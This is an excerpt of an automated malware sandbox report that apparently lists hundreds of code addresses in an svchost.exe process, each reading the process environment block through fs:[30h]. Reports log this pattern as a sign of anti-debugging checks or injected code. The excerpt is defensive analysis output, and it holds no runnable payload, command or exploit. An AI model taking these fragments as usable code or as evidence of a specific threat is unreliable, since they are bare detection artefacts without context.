Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038401F1 mov eax, dword ptr fs:[00000030h]	3_2_038401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03860118 mov eax, dword ptr fs:[00000030h]	3_2_03860118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BA130 mov eax, dword ptr fs:[00000030h]	3_2_038BA130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382A147 mov eax, dword ptr fs:[00000030h]	3_2_0382A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382A147 mov eax, dword ptr fs:[00000030h]	3_2_0382A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382A147 mov eax, dword ptr fs:[00000030h]	3_2_0382A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386415F mov eax, dword ptr fs:[00000030h]	3_2_0386415F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836179 mov eax, dword ptr fs:[00000030h]	3_2_03836179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904080 mov eax, dword ptr fs:[00000030h]	3_2_03904080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904080 mov eax, dword ptr fs:[00000030h]	3_2_03904080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904080 mov eax, dword ptr fs:[00000030h]	3_2_03904080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904080 mov eax, dword ptr fs:[00000030h]	3_2_03904080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904080 mov eax, dword ptr fs:[00000030h]	3_2_03904080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904080 mov eax, dword ptr fs:[00000030h]	3_2_03904080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904080 mov eax, dword ptr fs:[00000030h]	3_2_03904080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382A093 mov ecx, dword ptr fs:[00000030h]	3_2_0382A093
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382C090 mov eax, dword ptr fs:[00000030h]	3_2_0382C090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C6090 mov eax, dword ptr fs:[00000030h]	3_2_038C6090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038700A5 mov eax, dword ptr fs:[00000030h]	3_2_038700A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B60A0 mov eax, dword ptr fs:[00000030h]	3_2_038B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B60A0 mov eax, dword ptr fs:[00000030h]	3_2_038B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B60A0 mov eax, dword ptr fs:[00000030h]	3_2_038B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B60A0 mov eax, dword ptr fs:[00000030h]	3_2_038B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B60A0 mov eax, dword ptr fs:[00000030h]	3_2_038B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B60A0 mov eax, dword ptr fs:[00000030h]	3_2_038B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B60A0 mov eax, dword ptr fs:[00000030h]	3_2_038B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BC0E0 mov ecx, dword ptr fs:[00000030h]	3_2_038BC0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382C0F6 mov eax, dword ptr fs:[00000030h]	3_2_0382C0F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03838009 mov eax, dword ptr fs:[00000030h]	3_2_03838009
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872010 mov ecx, dword ptr fs:[00000030h]	3_2_03872010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03860044 mov eax, dword ptr fs:[00000030h]	3_2_03860044
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B6040 mov eax, dword ptr fs:[00000030h]	3_2_038B6040
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836074 mov eax, dword ptr fs:[00000030h]	3_2_03836074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836074 mov eax, dword ptr fs:[00000030h]	3_2_03836074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE79D mov eax, dword ptr fs:[00000030h]	3_2_038AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE79D mov eax, dword ptr fs:[00000030h]	3_2_038AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE79D mov eax, dword ptr fs:[00000030h]	3_2_038AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE79D mov eax, dword ptr fs:[00000030h]	3_2_038AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE79D mov eax, dword ptr fs:[00000030h]	3_2_038AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE79D mov eax, dword ptr fs:[00000030h]	3_2_038AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE79D mov eax, dword ptr fs:[00000030h]	3_2_038AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE79D mov eax, dword ptr fs:[00000030h]	3_2_038AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE79D mov eax, dword ptr fs:[00000030h]	3_2_038AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038307A7 mov eax, dword ptr fs:[00000030h]	3_2_038307A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D47B4 mov eax, dword ptr fs:[00000030h]	3_2_038D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D47B4 mov eax, dword ptr fs:[00000030h]	3_2_038D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D47B4 mov eax, dword ptr fs:[00000030h]	3_2_038D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D47B4 mov eax, dword ptr fs:[00000030h]	3_2_038D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D47B4 mov eax, dword ptr fs:[00000030h]	3_2_038D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D47B4 mov eax, dword ptr fs:[00000030h]	3_2_038D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D47B4 mov ecx, dword ptr fs:[00000030h]	3_2_038D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038CC7B0 mov eax, dword ptr fs:[00000030h]	3_2_038CC7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038CC7B0 mov eax, dword ptr fs:[00000030h]	3_2_038CC7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E7E0 mov eax, dword ptr fs:[00000030h]	3_2_0385E7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385270D mov eax, dword ptr fs:[00000030h]	3_2_0385270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385270D mov eax, dword ptr fs:[00000030h]	3_2_0385270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385270D mov eax, dword ptr fs:[00000030h]	3_2_0385270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383471B mov eax, dword ptr fs:[00000030h]	3_2_0383471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383471B mov eax, dword ptr fs:[00000030h]	3_2_0383471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E4730 mov eax, dword ptr fs:[00000030h]	3_2_038E4730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E4730 mov eax, dword ptr fs:[00000030h]	3_2_038E4730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03852755 mov eax, dword ptr fs:[00000030h]	3_2_03852755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03852755 mov eax, dword ptr fs:[00000030h]	3_2_03852755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03852755 mov eax, dword ptr fs:[00000030h]	3_2_03852755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03852755 mov ecx, dword ptr fs:[00000030h]	3_2_03852755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03852755 mov eax, dword ptr fs:[00000030h]	3_2_03852755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03852755 mov eax, dword ptr fs:[00000030h]	3_2_03852755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A750 mov eax, dword ptr fs:[00000030h]	3_2_0386A750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DE750 mov eax, dword ptr fs:[00000030h]	3_2_038DE750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03842760 mov ecx, dword ptr fs:[00000030h]	3_2_03842760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03860774 mov eax, dword ptr fs:[00000030h]	3_2_03860774
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03834779 mov eax, dword ptr fs:[00000030h]	3_2_03834779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03834779 mov eax, dword ptr fs:[00000030h]	3_2_03834779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680 mov eax, dword ptr fs:[00000030h]	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03838690 mov eax, dword ptr fs:[00000030h]	3_2_03838690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BC691 mov eax, dword ptr fs:[00000030h]	3_2_038BC691
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F86A8 mov eax, dword ptr fs:[00000030h]	3_2_038F86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F86A8 mov eax, dword ptr fs:[00000030h]	3_2_038F86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E46CB mov eax, dword ptr fs:[00000030h]	3_2_038E46CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E46CB mov eax, dword ptr fs:[00000030h]	3_2_038E46CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038306CF mov eax, dword ptr fs:[00000030h]	3_2_038306CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FA6C0 mov eax, dword ptr fs:[00000030h]	3_2_038FA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D86C2 mov eax, dword ptr fs:[00000030h]	3_2_038D86C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C66D0 mov eax, dword ptr fs:[00000030h]	3_2_038C66D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C66D0 mov eax, dword ptr fs:[00000030h]	3_2_038C66D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DE6D0 mov eax, dword ptr fs:[00000030h]	3_2_038DE6D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383C6E0 mov eax, dword ptr fs:[00000030h]	3_2_0383C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038566E0 mov eax, dword ptr fs:[00000030h]	3_2_038566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038566E0 mov eax, dword ptr fs:[00000030h]	3_2_038566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AC6F2 mov eax, dword ptr fs:[00000030h]	3_2_038AC6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AC6F2 mov eax, dword ptr fs:[00000030h]	3_2_038AC6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904600 mov eax, dword ptr fs:[00000030h]	3_2_03904600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C620 mov eax, dword ptr fs:[00000030h]	3_2_0386C620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03830630 mov eax, dword ptr fs:[00000030h]	3_2_03830630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03860630 mov eax, dword ptr fs:[00000030h]	3_2_03860630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B8633 mov esi, dword ptr fs:[00000030h]	3_2_038B8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B8633 mov eax, dword ptr fs:[00000030h]	3_2_038B8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B8633 mov eax, dword ptr fs:[00000030h]	3_2_038B8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C640 mov eax, dword ptr fs:[00000030h]	3_2_0386C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C640 mov eax, dword ptr fs:[00000030h]	3_2_0386C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386265C mov eax, dword ptr fs:[00000030h]	3_2_0386265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386265C mov ecx, dword ptr fs:[00000030h]	3_2_0386265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386265C mov eax, dword ptr fs:[00000030h]	3_2_0386265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386666D mov esi, dword ptr fs:[00000030h]	3_2_0386666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386666D mov eax, dword ptr fs:[00000030h]	3_2_0386666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386666D mov eax, dword ptr fs:[00000030h]	3_2_0386666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BE660 mov eax, dword ptr fs:[00000030h]	3_2_038BE660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03830670 mov eax, dword ptr fs:[00000030h]	3_2_03830670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872670 mov eax, dword ptr fs:[00000030h]	3_2_03872670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872670 mov eax, dword ptr fs:[00000030h]	3_2_03872670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE588 mov eax, dword ptr fs:[00000030h]	3_2_038AE588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE588 mov eax, dword ptr fs:[00000030h]	3_2_038AE588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A580 mov eax, dword ptr fs:[00000030h]	3_2_0386A580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A580 mov eax, dword ptr fs:[00000030h]	3_2_0386A580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03862594 mov eax, dword ptr fs:[00000030h]	3_2_03862594
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BC592 mov eax, dword ptr fs:[00000030h]	3_2_038BC592
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B85AA mov eax, dword ptr fs:[00000030h]	3_2_038B85AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038345B0 mov eax, dword ptr fs:[00000030h]	3_2_038345B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038345B0 mov eax, dword ptr fs:[00000030h]	3_2_038345B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C5C6 mov eax, dword ptr fs:[00000030h]	3_2_0386C5C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B05C6 mov eax, dword ptr fs:[00000030h]	3_2_038B05C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038665D0 mov eax, dword ptr fs:[00000030h]	3_2_038665D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A5E7 mov ebx, dword ptr fs:[00000030h]	3_2_0386A5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A5E7 mov eax, dword ptr fs:[00000030h]	3_2_0386A5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DE5E0 mov eax, dword ptr fs:[00000030h]	3_2_038DE5E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BC5FC mov eax, dword ptr fs:[00000030h]	3_2_038BC5FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E507 mov eax, dword ptr fs:[00000030h]	3_2_0385E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E507 mov eax, dword ptr fs:[00000030h]	3_2_0385E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E507 mov eax, dword ptr fs:[00000030h]	3_2_0385E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E507 mov eax, dword ptr fs:[00000030h]	3_2_0385E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E507 mov eax, dword ptr fs:[00000030h]	3_2_0385E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E507 mov eax, dword ptr fs:[00000030h]	3_2_0385E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E507 mov eax, dword ptr fs:[00000030h]	3_2_0385E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E507 mov eax, dword ptr fs:[00000030h]	3_2_0385E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03832500 mov eax, dword ptr fs:[00000030h]	3_2_03832500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C50D mov eax, dword ptr fs:[00000030h]	3_2_0386C50D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C50D mov eax, dword ptr fs:[00000030h]	3_2_0386C50D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BC51D mov eax, dword ptr fs:[00000030h]	3_2_038BC51D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384252B mov eax, dword ptr fs:[00000030h]	3_2_0384252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384252B mov eax, dword ptr fs:[00000030h]	3_2_0384252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384252B mov eax, dword ptr fs:[00000030h]	3_2_0384252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384252B mov eax, dword ptr fs:[00000030h]	3_2_0384252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384252B mov eax, dword ptr fs:[00000030h]	3_2_0384252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384252B mov eax, dword ptr fs:[00000030h]	3_2_0384252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384252B mov eax, dword ptr fs:[00000030h]	3_2_0384252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872539 mov eax, dword ptr fs:[00000030h]	3_2_03872539
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384E547 mov eax, dword ptr fs:[00000030h]	3_2_0384E547
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03866540 mov eax, dword ptr fs:[00000030h]	3_2_03866540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03868540 mov eax, dword ptr fs:[00000030h]	3_2_03868540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383254C mov eax, dword ptr fs:[00000030h]	3_2_0383254C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C6550 mov eax, dword ptr fs:[00000030h]	3_2_038C6550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FA553 mov eax, dword ptr fs:[00000030h]	3_2_038FA553
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384C560 mov eax, dword ptr fs:[00000030h]	3_2_0384C560
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03830485 mov ecx, dword ptr fs:[00000030h]	3_2_03830485
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386648A mov eax, dword ptr fs:[00000030h]	3_2_0386648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386648A mov eax, dword ptr fs:[00000030h]	3_2_0386648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386648A mov eax, dword ptr fs:[00000030h]	3_2_0386648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BC490 mov eax, dword ptr fs:[00000030h]	3_2_038BC490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038324A2 mov eax, dword ptr fs:[00000030h]	3_2_038324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038324A2 mov ecx, dword ptr fs:[00000030h]	3_2_038324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038644A8 mov eax, dword ptr fs:[00000030h]	3_2_038644A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C84BB mov eax, dword ptr fs:[00000030h]	3_2_038C84BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E4BC mov eax, dword ptr fs:[00000030h]	3_2_0386E4BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038544D1 mov eax, dword ptr fs:[00000030h]	3_2_038544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038544D1 mov eax, dword ptr fs:[00000030h]	3_2_038544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E4EF mov eax, dword ptr fs:[00000030h]	3_2_0386E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E4EF mov eax, dword ptr fs:[00000030h]	3_2_0386E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038364F0 mov eax, dword ptr fs:[00000030h]	3_2_038364F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D44F8 mov eax, dword ptr fs:[00000030h]	3_2_038D44F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D44F8 mov eax, dword ptr fs:[00000030h]	3_2_038D44F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A4F0 mov eax, dword ptr fs:[00000030h]	3_2_0386A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A4F0 mov eax, dword ptr fs:[00000030h]	3_2_0386A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BE4F2 mov eax, dword ptr fs:[00000030h]	3_2_038BE4F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BE4F2 mov eax, dword ptr fs:[00000030h]	3_2_038BE4F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C6400 mov eax, dword ptr fs:[00000030h]	3_2_038C6400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C6400 mov eax, dword ptr fs:[00000030h]	3_2_038C6400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382640D mov eax, dword ptr fs:[00000030h]	3_2_0382640D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840445 mov eax, dword ptr fs:[00000030h]	3_2_03840445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840445 mov eax, dword ptr fs:[00000030h]	3_2_03840445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840445 mov eax, dword ptr fs:[00000030h]	3_2_03840445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840445 mov eax, dword ptr fs:[00000030h]	3_2_03840445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840445 mov eax, dword ptr fs:[00000030h]	3_2_03840445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840445 mov eax, dword ptr fs:[00000030h]	3_2_03840445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B0443 mov eax, dword ptr fs:[00000030h]	3_2_038B0443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E45E mov eax, dword ptr fs:[00000030h]	3_2_0385E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E45E mov eax, dword ptr fs:[00000030h]	3_2_0385E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E45E mov eax, dword ptr fs:[00000030h]	3_2_0385E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E45E mov eax, dword ptr fs:[00000030h]	3_2_0385E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E45E mov eax, dword ptr fs:[00000030h]	3_2_0385E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BE461 mov eax, dword ptr fs:[00000030h]	3_2_038BE461
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FA464 mov eax, dword ptr fs:[00000030h]	3_2_038FA464
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03838470 mov eax, dword ptr fs:[00000030h]	3_2_03838470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03838470 mov eax, dword ptr fs:[00000030h]	3_2_03838470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F8BBE mov eax, dword ptr fs:[00000030h]	3_2_038F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F8BBE mov eax, dword ptr fs:[00000030h]	3_2_038F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F8BBE mov eax, dword ptr fs:[00000030h]	3_2_038F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F8BBE mov eax, dword ptr fs:[00000030h]	3_2_038F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382EBC0 mov eax, dword ptr fs:[00000030h]	3_2_0382EBC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B4BC0 mov eax, dword ptr fs:[00000030h]	3_2_038B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B4BC0 mov eax, dword ptr fs:[00000030h]	3_2_038B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B4BC0 mov eax, dword ptr fs:[00000030h]	3_2_038B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B4BC0 mov eax, dword ptr fs:[00000030h]	3_2_038B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D6BDE mov ebx, dword ptr fs:[00000030h]	3_2_038D6BDE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D6BDE mov eax, dword ptr fs:[00000030h]	3_2_038D6BDE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03858BD1 mov eax, dword ptr fs:[00000030h]	3_2_03858BD1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03858BD1 mov eax, dword ptr fs:[00000030h]	3_2_03858BD1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904BE0 mov eax, dword ptr fs:[00000030h]	3_2_03904BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03838B10 mov eax, dword ptr fs:[00000030h]	3_2_03838B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03838B10 mov eax, dword ptr fs:[00000030h]	3_2_03838B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03838B10 mov eax, dword ptr fs:[00000030h]	3_2_03838B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840B10 mov eax, dword ptr fs:[00000030h]	3_2_03840B10
